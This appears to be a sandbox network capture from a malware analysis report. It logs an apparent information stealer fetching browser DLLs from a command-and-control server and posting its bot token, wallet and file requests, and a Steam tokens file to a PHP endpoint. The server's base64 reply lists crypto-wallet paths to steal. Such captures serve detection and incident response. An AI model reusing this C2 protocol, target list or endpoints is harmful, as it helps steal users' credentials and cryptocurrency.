Nov 7, 2024 17:25:41.141577959 CET	1236	IN	Data Raw: cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 Data Ascii: USWVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%t
Nov 7, 2024 17:25:41.141588926 CET	1236	IN	Data Raw: eb b2 66 c7 86 00 01 00 00 00 00 31 f6 eb 12 68 05 e0 ff ff e8 de f7 07 00 83 c4 04 be ff ff ff ff 8b 4d f0 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 Data Ascii: f1hM1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuW
Nov 7, 2024 17:25:41.141609907 CET	1060	IN	Data Raw: 04 03 89 45 ec 0f b6 c0 8b 4d f0 8a 14 01 00 d3 88 5d e8 0f b6 f3 89 f9 8b 7d f0 8a 1c 37 8b 7d f0 88 1c 07 89 cf 8b 45 f0 88 14 30 00 d3 0f b6 c3 8b 4d 10 8a 51 02 8b 4d f0 32 14 01 8b 4d d4 8b 45 e4 88 50 02 8b 5d dc 8b 45 d0 8b 55 d8 2b 55 cc Data Ascii: EM]}7}E0MQM2MEP]EU+UUU9)]}1EEMAMfo 1ff}]fn4ff`fafofrfo
Nov 7, 2024 17:25:41.141628981 CET	1236	IN	Data Raw: 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 0f b6 c6 0f b6 04 07 89 45 e0 8b 45 e8 8d 44 03 02 89 de 0f b6 c0 0f b6 14 07 00 d1 0f b6 d9 8b 7d f0 8a 34 Data Ascii: UEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}4E]Uu3EU
Nov 7, 2024 17:25:41.141642094 CET	1236	IN	Data Raw: 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 d6 85 ae 67 bb 89 75 d8 89 da 33 95 c8 fe ff ff 89 f3 33 9d cc fe ff ff 89 d6 0f a4 de 08 0f a4 d3 08 89 9d Data Ascii: F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS LAS$A
Nov 7, 2024 17:25:44.117113113 CET	93	OUT	GET /dcace648038981df/mozglue.dll HTTP/1.1 Host: 95.215.204.182 Cache-Control: no-cache
Nov 7, 2024 17:25:44.377978086 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 7, 2024 17:25:45.740750074 CET	94	OUT	GET /dcace648038981df/msvcp140.dll HTTP/1.1 Host: 95.215.204.182 Cache-Control: no-cache
Nov 7, 2024 17:25:45.974390984 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 7, 2024 17:25:46.728037119 CET	90	OUT	GET /dcace648038981df/nss3.dll HTTP/1.1 Host: 95.215.204.182 Cache-Control: no-cache
Nov 7, 2024 17:25:46.964606047 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 7, 2024 17:25:48.990169048 CET	94	OUT	GET /dcace648038981df/softokn3.dll HTTP/1.1 Host: 95.215.204.182 Cache-Control: no-cache
Nov 7, 2024 17:25:49.225429058 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 7, 2024 17:25:49.654529095 CET	98	OUT	GET /dcace648038981df/vcruntime140.dll HTTP/1.1 Host: 95.215.204.182 Cache-Control: no-cache
Nov 7, 2024 17:25:49.889574051 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 7, 2024 17:25:50.494915962 CET	201	OUT	POST /4d3324bde875e159.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIJJJKKJJDAKEBFIJDH Host: 95.215.204.182 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 7, 2024 17:25:51.008244038 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 17:25:51.055736065 CET	468	OUT	POST /4d3324bde875e159.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCBGCAFIIECBFIDHIJ Host: 95.215.204.182 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 2d 2d 0d 0a Data Ascii: ------CBGCBGCAFIIECBFIDHIJContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------CBGCBGCAFIIECBFIDHIJContent-Disposition: form-data; name="message"wallets------CBGCBGCAFIIECBFIDHIJ--
Nov 7, 2024 17:25:51.290819883 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:51 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 7, 2024 17:25:51.295505047 CET	466	OUT	POST /4d3324bde875e159.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDA Host: 95.215.204.182 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 2d 2d 0d 0a Data Ascii: ------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="message"files------KKFHJDAEHIEHJJKFBGDA--
Nov 7, 2024 17:25:51.530253887 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 17:25:51.551183939 CET	564	OUT	POST /4d3324bde875e159.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBFHJDAAFBAKEBGIJKK Host: 95.215.204.182 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="file"------IDBFHJDAAFBAKEBGIJKK--
Nov 7, 2024 17:25:52.000107050 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 17:25:52.133693933 CET	203	OUT	POST /4d3324bde875e159.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJK Host: 95.215.204.182 Content-Length: 98115 Connection: Keep-Alive Cache-Control: no-cache
Nov 7, 2024 17:25:52.998836040 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 17:25:53.089626074 CET	473	OUT	POST /4d3324bde875e159.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAKFCGIJKJKFHIDHIII Host: 95.215.204.182 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 2d 2d 0d 0a Data Ascii: ------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="message"ybncbhylepme------HDAKFCGIJKJKFHIDHIII--
Nov 7, 2024 17:25:53.324542999 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 17:25:53.326371908 CET	473	OUT	POST /4d3324bde875e159.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDAEGCAFIIDGDGCGIJ Host: 95.215.204.182 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 2d 2d 0d 0a Data Ascii: ------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AKJDAEGCAFIIDGDGCGIJ--
Nov 7, 2024 17:25:55.575561047 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49713	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
